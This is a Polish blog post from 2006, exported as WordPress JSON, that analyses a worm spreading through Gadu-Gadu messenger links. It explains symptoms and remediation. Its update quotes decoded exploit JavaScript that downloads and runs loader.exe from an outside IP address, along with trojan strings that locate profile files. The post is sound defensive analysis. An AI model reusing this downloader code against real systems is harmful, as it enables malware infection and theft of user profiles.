{"id":64,"date":"2006-12-27T00:20:57","date_gmt":"2006-12-26T23:20:57","guid":{"rendered":"http:\/\/www.eriz.pc-inside.org\/weblog\/2006\/11\/19\/gadu-padu-trojanik\/"},"modified":"2007-01-26T20:13:09","modified_gmt":"2007-01-26T19:13:09","slug":"gadu-padu-trojanik","status":"publish","type":"post","link":"https:\/\/eriz.pcinside.pl\/weblog\/gadu-padu-trojanik-64.html","title":{"rendered":"Gadu-Padu &#8211; trojanik"},"content":{"rendered":"<p><strong>Zaaktualizowano: 27 grudnia 2006 (<a href=\"http:\/\/eriz.pc-inside.org\/weblog\/2006\/12\/27\/gadu-padu-trojanik\/#trojanNew\">zobacz modyfikacj\u0119<\/a>)<\/strong><\/p>\n<p>\nPrzez ostatnie dwa dni zauwa\u017cy\u0142em w opisach wielu ludzi tekst podobny do tego: <cite>&#8222;pad\u0142o mi gg&#8221;<\/cite> albo <cite>&#8222;nie dochodz\u0105 moje wiadomo\u015bci&#8221;<\/cite>. Heh, my\u015ble sobie, \u017ce mo\u017ce serwerek uzna\u0142 delikwent\u00f3w za spammer\u00f3w, bo korzystali z inwigilator\u00f3w. <cite>Ale nieee<\/cite>, sprawa jest chyba troch\u0119 grubsza, na dodatek &#8211; na skal\u0119 masow\u0105. Od wczoraj komunikacja wi\u0119kszo\u015bci os\u00f3b przebiega przez opisy. Na domiar z\u0142ego dzisiaj dostaj\u0119 sznurek z opisem:\n<\/p>\n<blockquote>\n<p>wybuch w niemczech www.supercqb.com\/material_2006_19_11_14970.html<\/p>\n<\/blockquote>\n<p>\nWcze\u015bniej dosta\u0142 to brat i jak zwykle do niego <cite>&#8222;odpal to&#8221;<\/cite>. No co? Trzeba wiedzie\u0107, co to jest, nie? <img src=\"https:\/\/eriz.pcinside.pl\/weblog\/wp-includes\/images\/smilies\/e_laugh.png\" alt=\":D\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/>\n<\/p>\n<p>\nOk, tak jak podejrzewali\u015bmy &#8211; trojanik. Kiedy\u015b czyta\u0142em, \u017ce powsta\u0142 robak typu <a href=\"http:\/\/pl.wikipedia.org\/wiki\/Kod_proof-of-concept\">proof-of-concept<\/a> napisany na potrzeby GS, kt\u00f3ry wysy\u0142a wiadomo\u015bci do wszystkich z listy. Oczywi\u015bcie w tre\u015bci by\u0142 link do niego samego, czyli taka matrioszka.\n<\/p>\n<p>\nPo otwarciu linku uruchamia si\u0119 strona do z\u0142udzenia podobna do about:blank (czyli do czystej). Zagl\u0105dam pod mask\u0119, a tam zaszyfrowany kod. Troch\u0119 zawi\u0142y algorytm, ale mnie si\u0119 na razie nie chce go odszyfrowa\u0107 <img src=\"https:\/\/eriz.pcinside.pl\/weblog\/wp-includes\/images\/smilies\/e_tongue.png\" alt=\":P\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/>\n<\/p>\n<p>\nRobak ten wykorzysta\u0142 pewnie owego PoC, bo link do\u0144 prowadz\u0105cy dosta\u0142em ju\u017c od kilku os\u00f3b.\n<\/p>\n<p>\nWspomnia\u0142em, \u017ce GS blokuje osoby spammuj\u0105ce (czyli wysy\u0142aj\u0105ce wi\u0119cej ni\u017c ile\u015btam wiadomo\u015bci w ci\u0105gu minuty). Je\u015bli kto\u015b ma rozbudowan\u0105 list\u0119, to trojan bardzo szybko wykorzysta ten limit. Podejrzewam, \u017ce w\u0142a\u015bnie to jest przyczyn\u0105 problem\u00f3w.\n<\/p>\n<p>\nIstnieje r\u00f3wnie\u017c opcja, \u017ce robak posiada wbudowan\u0105 obs\u0142ug\u0119 protoko\u0142u, a dane wyci\u0105ga sobie z profilu u\u017cytkownika, wi\u0119c m\u00f3g\u0142by egzystowa\u0107 nawet bez zainstalowanego GS (np. na chwil\u0119 instalujesz, by konto za\u0142o\u017cy\u0107, wywalasz, ale profil zostawiasz).\n<\/p>\n<p>\n<strong>Jakie jest rozwi\u0105zanie?<\/strong> Przeskanowa\u0107 kompa na obecno\u015b\u0107 wirus\u00f3w i napisa\u0107 do autor\u00f3w GG z pro\u015bb\u0105 o odblokowanie numeru lub za\u0142o\u017cy\u0107 sobie nowy&#8230;\n<\/p>\n<p>Najlepiej, oczywi\u015bcie, nie korzysta\u0107 z oryginalnego klienta GS. <img src=\"https:\/\/eriz.pcinside.pl\/weblog\/wp-includes\/images\/smilies\/e_tongue.png\" alt=\":P\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/> Jak ju\u017c wcze\u015bniej wspomnia\u0142em, istnieje opcja, \u017ce trojan wykorzystuje pozosta\u0142o\u015bci po profilu u\u017cytkownika.<\/p>\n<p><strong>UWAGA:<\/strong> Przed skanowaniem antywirusem upewnij si\u0119, \u017ce masz najnowsze bazy!!!<\/p>\n<p><strong>edit:<\/strong> Brat wys\u0142a\u0142 maila do GG i dosta\u0142 tak\u0105 odpowied\u017a:<\/p>\n<blockquote>\n<p>\nBlokady zak\u0142adane i zdejmowane sa automatycznie. Czas ich trwania zalezy od pope\u0142nionego wykroczenia. Zazwyczaj jest to od kilku godzin do kilku dni. Prosz\u0119 zatem uzbroi\u0107 si\u0119 w cierpliwo\u015b\u0107.\n<\/p>\n<\/blockquote>\n<h3 id=\"trojanNew\">UPDATE<\/h3>\n<p>Dzisiaj zaatakowa\u0142 inny trojan. Rozsy\u0142a si\u0119 przez inny link: <cite>www.hsqvyrpzeh.info\/?awbiby.jpg<\/cite>. W celu zamaskowania podaje losow\u0105 warto\u015b\u0107 query string (t\u0105 po znaku zapytania). Tym razem, zapewne w celu ukrycia przed osobami, kt\u00f3re chcia\u0142yby ostrzec innych, robak sprawdza <abbr title=\"Identyfikator przegl\u0105darki\">user-agent<\/abbr> i gdy u\u017cywamy IE &#8211; przesy\u0142a kod (oczywi\u015bcie zaszyfrowany). Analizuj\u0105c <a href=\"http:\/\/smalu.info\/odkodowane.txt\">rozpracowany kod<\/a> mo\u017cna doszuka\u0107 si\u0119 ciekawych fragment\u00f3w:<\/p>\n<p><!--more--><br \/>\n<code lang=\"javascript\"><br \/>\nfunction Get_Win_Version(IE_vers)  \/\/funkcja \"przydatna\" w dalszej cz\u0119\u015bci kodu<\/p>\n<p>\/\/poszukajmy folderu autostartu :P<br \/>\ntry {<br \/>\n\tvar obj_WScript = obj_RDS.CreateObject(\"WScript.Shell\",\"\");<br \/>\n}catch(e){};<br \/>\ntry {<br \/>\n\tvar wshProcEnv = obj_WScript.Environment(\"PROCESS\");<br \/>\n\thdrive=wshProcEnv(\"HOMEDRIVE\");<br \/>\n\tdtemp=wshProcEnv(\"TEMP\");<br \/>\n} catch(e){};<\/p>\n<p>if (hdrive == \"\") {<br \/>\n\thdrive=\"C:\";<br \/>\n}<br \/>\ntry {<br \/>\n\tdstart=obj_WScript.SpecialFolders(\"Startup\");<br \/>\n}<\/p>\n<p>\/\/teraz dopiero si\u0119 zacznie - exploit \u015bci\u0105ga trojanika z sieci<br \/>\nobj_msxml2.open(\"GET\",\"http:\/\/66.185.126.34:1080\/vnew\/loader.exe\",false);<br \/>\nobj_msxml2.send();<br \/>\nobj_adodb.type =  1;<br \/>\nobj_adodb.open();<br \/>\nobj_adodb.Write(obj_msxml2.responseBody);<\/p>\n<p>\/\/dobra, wiemy, \u017ce programik zapisa\u0142 si\u0119 w autostarcie, ale sensu tego poni\u017cej nie rozumiem... Po co zapisywa\u0107 w koszu?<br \/>\nfn = \"C:\\\\RECYCLER\\\\\"+Math.round(Math.random()*(1000000-1)+10000)+\".exe\";<br \/>\nobj_adodb.SaveToFile(fn,2);<\/p>\n<p>\/\/o yeah, let's dance - popatrz, gdzie jeste\u015bmy :D<br \/>\n\/\/pocz\u0105tkowo umknie oku, ale w oryginale mamy inne rozszerzenie<br \/>\nvar fn = \"C:\\\\NTDETECT.EXE\";<br \/>\nobj_adodb.SaveToFile(fn,2);<br \/>\nobj_adodb.close();<br \/>\nobj_ShellApp.ShellExecute(fn);<br \/>\n\/\/w ten spos\u00f3b spada ryzyko r\u0119cznego usuni\u0119cia, bez udzia\u0142u AV<\/p>\n<p>\/\/robaczek dzia\u0142a na ka\u017cdej wersji Windows:<br \/>\nvar agt=getProperties(navigator).toLowerCase();<br \/>\nif(navigator.appName==\"Microsoft Internet Explorer\"){<br \/>\n\tvar IEversion=navigator.appVersion;<br \/>\n\tvar IEplatform=navigator.platform;<br \/>\n\tif(IEplatform.search(\"Win32\") != -1){<br \/>\n\t\tvar WinOS=Get_Win_Version(IEversion);<\/p>\n<p>\t\tswitch (WinOS){<br \/>\n\t\t\tcase \"XPSP2\":<br \/>\n\t\t\t\trds();<br \/>\n\t\t\t\twvf();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"XP\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\tsetTimeout('wvf()',3000);<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"2K\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"2K3\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"98\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"ME\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"NT\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tcase \"95\":<br \/>\n\t\t\t\tmdac();<br \/>\n\t\t\t\tjava();<br \/>\n\t\t\t\txml();<br \/>\n\t\t\tbreak;<\/p>\n<p>\t\t\tdefault:<br \/>\n\t\t\t\trds();<br \/>\n\t\t\tbreak;<br \/>\n\t\t}<br \/>\n\t}<br \/>\n}<br \/>\n\/\/...\u0142\u0105cznie z Windows 2003<br \/>\n<\/code><\/p>\n<p>Wcze\u015bniej jest jeszcze zaszyfrowany kawa\u0142ek kodu.<\/p>\n<p>OK, exploit ju\u017c si\u0119 uruchomi\u0142, zobaczmy, co mamy dalej. \u015aci\u0105gni\u0119ty i urchomiony zosta\u0142 exec wielko\u015bci ~42KB. Co w nim mamy? Ot\u00f3\u017c, staranno\u015b\u0107 jego zaszyfrowania ju\u017c nie jest taka, z jak\u0105 mieli\u015bmy do czynienia w explocie. Podejrza\u0142em sobie delikwenta. Przy ko\u0144cu pliku mo\u017cna zauwa\u017cy\u0107 co\u015b takiego:<\/p>\n<p><code><br \/>\n\/\/troch\u0119 \"emot\u00f3w\", \u017ceby wysy\u0142ane wiadomo\u015bci wygl\u0105da\u0142y jak prawdziwe; nie wiem, czy ta tablica jest w rzeczywisto\u015bci u\u017cywana, ale - z tego, co widzia\u0142em - nie<br \/>\n<nie><tak><zdziwiony><beczy><lol><rotfl><zawstydzony><ziewa><hmmm><niedowiarek><br \/>\n<urodziny><winko><gool><palacz>\n<p>\/\/i g\u0142\u00f3wna procedura wysy\u0142ania - otwiera si\u0119 zwyk\u0142e gniazdko do hosta gg:<br \/>\nGET \/appsvc\/appmsg4.asp?fmnumber=%ld&version=6%%2C+1%%2C+0%%2C+158&fmt=2&lastmsg=3553 HTTP\/1.0<br \/>\nHost: appmsg.gadu-gadu.pl<br \/>\nAccept: image\/gif, image\/x-xbitmap, image\/jpeg, image\/pjpeg, application\/vnd.ms-powerpoint, application\/vnd.ms-excel, application\/msword, application\/x-shockwave-flash, *\/\\*<br \/>\nAccept-Language: pl<br \/>\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)<br \/>\nPragma: no-cache<\/p>\n<p>\/\/sprintf - szukamy pliku konfiguracyjnego profilu<br \/>\n%s\\Gadu-Gadu\\*  sprintf %s\\Gadu-Gadu\\%s\\config.dat  sprintf %s\\Gadu-Gadu\\%s\\smseab.dat<\/code><\/p>\n<p>Czyli mia\u0142em wcze\u015bniej racj\u0119 &#8211; exploit jest samowystarczalny. Wystarczy, \u017ce kto\u015b b\u0119dzie mia\u0142 zainstalowane samo GS i trojan sam sobie poradzi. Dzia\u0142anie jest takie samo, jak wcze\u015bniej &#8211; znale\u017a\u0107 profil, rozes\u0142a\u0107 si\u0119 &#8211; zablokowa\u0107 profil. Nihil novi&#8230;<\/p>\n<p><strong>Zauwa\u017cy\u0142em nowy objaw:<\/strong> od os\u00f3b z zainfekowanym kompem trojan wysy\u0142a kilkuznakowe, losowe ci\u0105gi znak\u00f3w + kt\u00f3ry\u015b z emot\u00f3w.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Zaaktualizowano: 27 grudnia 2006 (zobacz modyfikacj\u0119) Przez ostatnie dwa dni zauwa\u017cy\u0142em w opisach wielu ludzi tekst podobny do tego: &#8222;pad\u0142o mi gg&#8221; albo &#8222;nie dochodz\u0105 moje wiadomo\u015bci&#8221;. Heh, my\u015ble sobie, \u017ce mo\u017ce serwerek uzna\u0142 delikwent\u00f3w za spammer\u00f3w, bo korzystali z inwigilator\u00f3w. Ale nieee, sprawa jest chyba troch\u0119 grubsza, na dodatek &#8211; na skal\u0119 masow\u0105. Od [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[54,55],"_links":{"self":[{"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/posts\/64"}],"collection":[{"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/comments?post=64"}],"version-history":[{"count":0,"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/posts\/64\/revisions"}],"wp:attachment":[{"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/media?parent=64"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/categories?post=64"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eriz.pcinside.pl\/weblog\/wp-json\/wp\/v2\/tags?post=64"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}